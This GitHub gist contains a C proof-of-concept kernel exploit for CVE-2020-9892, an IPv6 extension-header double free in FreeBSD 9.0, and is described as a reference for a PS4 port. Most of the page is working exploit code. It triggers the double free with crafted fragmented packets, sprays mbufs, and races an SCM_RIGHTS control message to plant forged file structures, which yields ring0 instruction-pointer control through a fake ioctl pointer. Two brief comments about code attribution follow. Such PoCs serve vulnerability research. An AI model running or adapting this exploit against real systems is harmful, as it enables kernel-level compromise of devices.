Skip to content

Instantly share code, notes, and snippets.

@Cryptogenic
Last active June 25, 2021 08:24
Show Gist options
  • Save Cryptogenic/448fd98813ab5a93182fb9620c013e17 to your computer and use it in GitHub Desktop.
Save Cryptogenic/448fd98813ab5a93182fb9620c013e17 to your computer and use it in GitHub Desktop.
Kernel exploit POC (Proof-of-Concept) for IP6_EXTHDR_CHECK double free (CVE-2020-9892). Interleaves with multi-threads for code exec. Mainly a reference for PS4 implementation.
/*
* IP6_EXTHDR_CHECK Double Free (CVE-2020-9892) Exploit PoC for FreeBSD 9.0
* https://github.com/google/security-research/security/advisories/GHSA-gxcr-cw4q-9q78
* -
* Bug credit: Andy Nguyen (@theflow0)
* Exploit credit: @SpecterDev, @tihmstar
* Thanks: @sleirsgoevy, @littlelailo, flatz (@flat_z), @balika011
* -
* Build: gcc -o expl ip6_expl_poc.c -pthread
* -
* Stability: 50-60% (18/32) w/ 2 CPUs and 2GB RAM in v2. Improved but somewhat tied to system state still.
* Still mainly a reference for PS4 port.
* -
* This file contains implementation for a FreeBSD/XNU/iOS kernel bug in the IPv6 subsystem. This
* POC will achieve code execution in ring0 / supervisor mode and set the instruction pointer to
* 0x41414141 to intentionally crash the kernel to demonstrate RIP control.
*
* A brief overview of the exploit strategy...
*
* The bug allows us to get a double free in the mbuf UMA zone in the kernel. We abuse this to
* acquire two references to the same mbuf via a tagged UDP packet spray. We then free one of the
* references to get it acquired by an SCM_RIGHTS control message on a local AF_UNIX socket. Since
* we still have the reference on our other tagged UDP packet, we free it to cause UAF, and interleave
* corruption to corrupt the stack of file pointers in the control message mid-processing to get
* crafted, userland-controlled file pointers stored in the process FD table.
*
* Now we have one or more file descriptors with attacker-controlled file pointers which contain a
* malicious file ops table with the ioctl function pointer pointing to 0x41414141. We simply call
* ioctl() on each fd we receive until we trigger code exec. If we fail, it means we lost the race
* and retry. If we can't reclaim the overlap, it's a fatal issue and a reboot will be needed since
* cleanup is irrepairably broken due to tainted state of the sockets, and process exit will crash the
* kernel.
* -
* v2 changes:
* - changed UAF reallocation spray to tcp packets from udp packets
* - changed UAF reallocation packet size from 0x504 to 0x7E8
* - removed delay in tag spray
* - added some heap grooming before triggering UAF
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
// Takes a data buffer and zeroes it, then initializes the 4 byte routing header with the size and
// next header type given.
void build_routing_header(char *buf, uint64_t sz, uint8_t next_header)
{
// Leave routing data null
memset(buf, 0, sz);
// Routing header
buf[0x0] = next_header;
buf[0x1] = (sz / 8) - 1; // Length is in units of octets not bytes
buf[0x2] = 0;
buf[0x3] = 0;
}
// Builds a raw packet consisting of a hop-by-hop header, fragment header, and auxiliary data with the info
// given, then sends it to the given fd on the loopback address (::1).
uint64_t send_fragment(int fd, char *data, uint64_t off, uint64_t sz, uint8_t final, uint32_t id, uint8_t next_header)
{
uint64_t i;
uint8_t packetData[0x200];
// Hop-by-hop headers
packetData[0x0] = IPPROTO_FRAGMENT;
packetData[0x1] = 0;
packetData[0x2] = IP6OPT_PADN;
packetData[0x3] = 4;
*(uint32_t *)(packetData + 4) = 0x41414141;
// Fragment header
size_t mid = off + !final;
packetData[0x8] = next_header;
packetData[0x9] = 0;
packetData[0xA] = mid / 256;
packetData[0xB] = mid % 256;
*(uint32_t *)(packetData + 0xC) = id;
// Auxiliary data
uint64_t dataOffset = 0x10;
for(i = 0; i < sz; i++)
{
packetData[dataOffset + i] = data[i];
}
// Send on loopback
struct sockaddr_in6 sin6 = {
.sin6_family = AF_INET6,
.sin6_addr = {0},
.sin6_port = 0x1337,
};
sin6.sin6_addr.s6_addr[15] = 1;
// Fire into the kernel
return sendto(fd, packetData, dataOffset + sz, 0, (struct sockaddr *)&sin6, sizeof(sin6));
}
// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf(int sock, char *in_data, uint64_t sz)
{
return sendto(sock, in_data, sz, 0, 0, 0);
}
// Sends a packet on a socket to get an mbuf allocated.
int push_mbuf2(int sock, char *in_data, uint64_t sz)
{
return sendto(sock, in_data, sz, MSG_DONTWAIT, 0, 0);
}
// Receives a packet on the socket to get an mbuf free'd.
int pop_mbuf(int sock, char *out_data, uint64_t sz)
{
return recvfrom(sock, out_data, sz, MSG_DONTWAIT, 0, 0);
}
// Gets a packet's data on the socket without removing it from the queue / free'ing it.
int peek_mbuf(int sock, char *out_data, uint64_t sz)
{
return recvfrom(sock, out_data, sz, MSG_DONTWAIT | MSG_PEEK, 0, 0);
}
// Creates an IPV4 UDP socket and binds + connects it to the loopback interface, returning
// the newly connected socket descriptor.
int create_udp_loopback_sock()
{
// Initialize a UDP IPv4 socket
int s = socket(AF_INET, SOCK_DGRAM, 0);
struct sockaddr_in sin = {
.sin_family = AF_INET,
.sin_addr = {0x100007f},
.sin_port = 0,
};
// Bind it to loopback interface and connect to it
uint64_t socklen = sizeof(struct sockaddr_in);
bind(s, (struct sockaddr *)&sin, socklen);
getsockname(s, (struct sockaddr *)&sin, (socklen_t *)&socklen);
connect(s, (struct sockaddr *)&sin, socklen);
return s;
}
// Writes a stack of file descriptors to the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
write_fd(int fd, void *ptr, size_t nbytes, int* sendfd)
{
int i;
struct msghdr msg;
struct iovec iov[1];
union {
struct cmsghdr cm;
char control[CMSG_SPACE(253*sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = sizeof(control_un.control);
cmptr = CMSG_FIRSTHDR(&msg);
cmptr->cmsg_len = CMSG_LEN(253*sizeof(int));
cmptr->cmsg_level = SOL_SOCKET;
cmptr->cmsg_type = SCM_RIGHTS;
for(i = 0; i < 253; i++)
((int *) CMSG_DATA(cmptr))[i] = sendfd[i];
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = ptr;
iov[0].iov_len = nbytes;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
return(sendmsg(fd, &msg, 0));
}
// Reads a stack of file descriptors from the given fd. Borrowed from sleirsgoevy's poc since we know it works.
ssize_t
read_fd(int fd, void *ptr, size_t nbytes, int *recvfd)
{
struct msghdr msg;
struct iovec iov[1];
ssize_t n;
int newfd;
int i;
union {
struct cmsghdr cm;
char control[CMSG_SPACE(253*sizeof(int))];
} control_un;
struct cmsghdr *cmptr;
msg.msg_control = control_un.control;
msg.msg_controllen = CMSG_SPACE(253*sizeof(int));
msg.msg_name = NULL;
msg.msg_namelen = 0;
iov[0].iov_base = ptr;
iov[0].iov_len = nbytes;
msg.msg_iov = iov;
msg.msg_iovlen = 1;
if ( (n = recvmsg(fd, &msg, 0)) < 0)
return(n);
if ( (cmptr = CMSG_FIRSTHDR(&msg)) != NULL &&
cmptr->cmsg_len == CMSG_LEN(253*sizeof(int))) {
for(i = 0; i < 253; i++)
recvfd[i] = ((int *) CMSG_DATA(cmptr))[i];
} else {
for(i = 0; i < 64; i++)
printf("%08x\n", ((int*)CMSG_DATA(cmptr))[i]);
*recvfd = -1;
}
return(n);
}
#define PACKET_ONE_SZ 0x60 // Size of first packet fragment
#define PACKET_TWO_SZ 0x20 // Size of second packet fragment
#define SPRAY_SOCKET_NUM 0x100 // Number of times for most sprays
#define SPRAY_PACKET_PTRS 0xFD // Number of file pointers to fake in overlap packet
volatile int start_thread = 0;
// Raw IPV6 socket for triggering the bug
int raw_sock;
// UDP spray sockets and TCP socketpairs for SCM_RIGHTS messages to overwrite
int udp_socks[SPRAY_SOCKET_NUM];
int tcp_sockpairs[SPRAY_SOCKET_NUM * 2];
// Scratch / trash buffer primarily for popping messages out of the queue
int popbuf[37];
// Overlap trackers so we know which sockets share an mbuf
int overlap_one = -1;
int overlap_two = -1;
// Structure to spray into UAF'd mbuf to smash file pointers
// -
// We need 4 bytes to align from 0xC to 0x10 since the file pointers are on 8-byte boundaries.
// We can use this padding for tags for the respray. We have to pack the struct because if we
// don't the compiler will insert padding after the tag which will mess with our UAF alignment.
struct overlap
{
uint64_t pointers[SPRAY_PACKET_PTRS];
};
// Spray packet data
struct overlap *spray_packet;
// File ops struct from the kernel that we need to fake for code execution
struct fileops {
void *fo_read;
void *fo_write;
void *fo_truncate;
void *fo_ioctl; // <-- RIP hijack fptr
void *fo_poll;
void *fo_kqfilter;
void *fo_stat;
void *fo_close;
void *fo_chmod;
void *fo_chown;
int fo_flags;
};
// File struct from the kernel we need to fake. Fields without comments are irrelevant and
// are not faked.
struct file {
void *f_data;
struct fileops *f_ops; // Important - fake for code execution
void *f_cred;
void *f_vnode;
short f_type; // Needs fake for ioctl() usage (socket type)
short f_vnread_flags;
volatile u_int f_flag; // Needs fake for ioctl() usage (RW flags)
volatile u_int f_count; // Needs fake for refcounting check
int f_seqcount;
off_t f_nextoff;
void *f_cdevpriv;
off_t f_offset;
void *f_label;
};
void *corrupt_file_pointers(void *vargp)
{
int i = 0;
printf("THREAD 2 STARTED!!!!\n");
while(start_thread == 0)
{
}
// Free the mbuf to UAF the SCM_RIGHTS control message
pop_mbuf(udp_socks[overlap_two], popbuf, sizeof(popbuf));
// Smash file pointer stack with our own
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
push_mbuf(tcp_sockpairs[i], (char *)spray_packet, sizeof(struct overlap));
}
}
int main()
{
int i;
char newbuf[0x1000];
int fds[256];
pthread_t threadid;
///////////////////////////////////////////////////////////////
// Stage 0 - Setup
///////////////////////////////////////////////////////////////
// Setup our spray
spray_packet = malloc(sizeof(struct overlap));
// Setup our fake file object
struct file *fakeFile = malloc(sizeof(struct file));
struct fileops *fops = malloc(sizeof(struct fileops));
memset(fakeFile, 0, sizeof(struct file));
memset(fops, 0, sizeof(struct fileops));
fakeFile->f_ops = fops;
fops->fo_ioctl = 0x41414141; // RIP = 0x41414141 for POC
fakeFile->f_type = 2; // DTYPE_SOCKET
fakeFile->f_flag = 1 | 2; // FREAD | FWRITE
fakeFile->f_count = 1337; // Reference count, just some high # so it never gets released
printf("fakeFile = %p\n", fakeFile);
// Pre-emptively setup spray packet
for(i = 0; i < SPRAY_PACKET_PTRS; i++)
spray_packet->pointers[i] = (uint64_t)(fakeFile);
// Setup thread 2
pthread_create(&threadid, NULL, corrupt_file_pointers, NULL);
// Used for debugging (by checking this fixed address from kernel we can target debug logs)
char *dbgmapping = mmap((void*)0xbeef0000, 16384, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
printf("dbgmapping mapped %p\n", dbgmapping);
// Setup file descriptors to pass
for(i = 0; i < 256; i++)
fds[255-i] = open("/etc/passwd", O_RDONLY);
for(i = 253; i < 256; i++)
close(fds[i]);
for(i = 0; i < 32; i++)
printf("i = %d | fd = %d\n", i, fds[i]);
memset((char *)newbuf, 0xFF, 1024);
// Create raw socket
raw_sock = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
// Create spray UDP sockets
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
udp_socks[i] = create_udp_loopback_sock();
// Create TCP socketpairs
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
socketpair(AF_UNIX, SOCK_STREAM, 0, tcp_sockpairs + 2 * i);
// Build up double free packet
char doubleFreePacket[PACKET_ONE_SZ + PACKET_TWO_SZ];
build_routing_header((char *)(doubleFreePacket + 0x00), PACKET_ONE_SZ, IPPROTO_ROUTING);
build_routing_header((char *)(doubleFreePacket + PACKET_ONE_SZ), PACKET_TWO_SZ, IPPROTO_ROUTING);
///////////////////////////////////////////////////////////////
// Stage 1 - Double free & reclaim on UDP pair
///////////////////////////////////////////////////////////////
printf("[+] Double freeing mbuf and reclaiming with tagged packets\n");
// Trigger double free
send_fragment(raw_sock,
doubleFreePacket,
0,
PACKET_ONE_SZ,
0,
0x60606060,
IPPROTO_ROUTING
);
send_fragment(raw_sock,
doubleFreePacket,
PACKET_ONE_SZ,
sizeof(doubleFreePacket) - PACKET_ONE_SZ,
1,
0x60606060,
IPPROTO_ROUTING
);
// 1 second
struct timespec one_sec = {
.tv_sec = 1,
.tv_nsec = 0
};
// 10 milliseconds
struct timespec ten_millisecs = {
.tv_sec = 0,
.tv_nsec = 10000000
};
// Sleep to allow time for the double free to occur
nanosleep(&one_sec, 0);
// Spray tagged packets on UDP sockets to get an overlap pair
int tag_packet[49];
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
tag_packet[0] = i;
push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet));
}
// Sleep to allow time for all packets to be sprayed
nanosleep(&one_sec, 0);
// Search for the overlap by peeking each socket and looking for corruption.
// -
// The first corrupted packet should contain the index of the packet that overlapped with it.
printf("[+] Searching for overlap pair\n");
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
peek_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(int));
if(tag_packet[0] != i)
{
overlap_one = i;
overlap_two = tag_packet[0];
}
}
// If we failed to overlap, we failed to capture the pointers from the double free, needs re-run.
if(overlap_one <= 0 || overlap_two <= 0)
{
printf("[!] Overlap failed!\n");
return -1;
}
// Yay we found an overlap pair!
printf("[+] Found overlap pair: %d -> %d\n", overlap_one, overlap_two);
///////////////////////////////////////////////////////////////
// Stage 2 - Trigger overlap on TCP socketpair
///////////////////////////////////////////////////////////////
char bigcluster[2048] = {0};
int outfds[253];
dbgmapping[0] = 'X';
for(i = 0; i < 49; i++)
tag_packet[i] = 0x41414141;
// 5 seconds
struct timespec five_secs = {
.tv_sec = 5,
.tv_nsec = 0
};
// 200 milliseconds
struct timespec twohundred_millisecs = {
.tv_sec = 0,
.tv_nsec = 200000000
};
nanosleep(&twohundred_millisecs, 0);
printf("[+] free 1\n");
// Free the mbuf to overlap udp_socks[overlap_two] with SCM_RIGHTS control message
pop_mbuf(udp_socks[overlap_one], popbuf, sizeof(popbuf));
// We need to know what socketpair has the overlap
int overlap_pair = -1;
// Spray SCM_RIGHTS messages into the overlap
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
write_fd(tcp_sockpairs[2*i], dbgmapping, 1, fds);
// Side-channel the overlapped UDP packet to determine what index we overlapped
peek_mbuf(udp_socks[overlap_two], (char *)&tag_packet, sizeof(int));
printf("sockpair = %d, peek = %lx\n", (2*i), tag_packet[0]);
// The first packet that doesn't have a first dword of zero is the socketpair we overlapped
if(tag_packet[0] != 0 && overlap_pair == -1)
overlap_pair = 2*i;
}
// We now have an SCM_RIGHTS message overlapped with a UDP socket mbuf to cause controlled UAF
printf("[+] Socketpair %d -> %d has corruptable mbuf\n", overlap_pair, overlap_pair+1);
// Calm before the storm...
nanosleep(&five_secs, 0);
///////////////////////////////////////////////////////////////
// Stage 3 - RACE
///////////////////////////////////////////////////////////////
int rrv;
// Groom the heap a bit
for(i = 0; i < SPRAY_SOCKET_NUM; i++)
{
if(i != overlap_two)
{
pop_mbuf(udp_socks[i], popbuf, sizeof(popbuf));
tag_packet[0] = i;
push_mbuf(udp_socks[i], (char *)&tag_packet, sizeof(tag_packet));
}
}
// Kickstart thread 2 to begin UAF
start_thread = 1;
// Start the read on the SCM_RIGHTS message we can smash with the other thread
rrv = read_fd(tcp_sockpairs[overlap_pair+1], dbgmapping, 1, outfds);
for(i = 0; i < 253; i++)
printf("outfds i = %d | fd = %d\n", i, outfds[i]);
// Hopefully we smashed it and have a fake file pointer created, attempt ioctl() on it to
// trigger RIP = 0x41414141 crash!
for(i = 0; i < 253; i++)
{
errno = 0;
rrv = ioctl(outfds[i], 0x81200000);
printf("ioctl rv = %d | err = %s\n", rrv, strerror(errno));
}
// If we reached here, we failed to smash it and lost the race
printf("Reached the end, rrv = %d\n", rrv);
// Never return, if we return and we failed, we die immediately because cleanup is borked
for(;;);
}
@sleirsgoevy
Copy link

// Writes a stack of file descriptors to the given fd. Borrowed from sleirsgoevy's poc since we know it works.

I actually copy-pasted write_fd/read_fd from stackoverflow.

@RetroGamer74
Copy link

:) stackoverflow is your friend

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment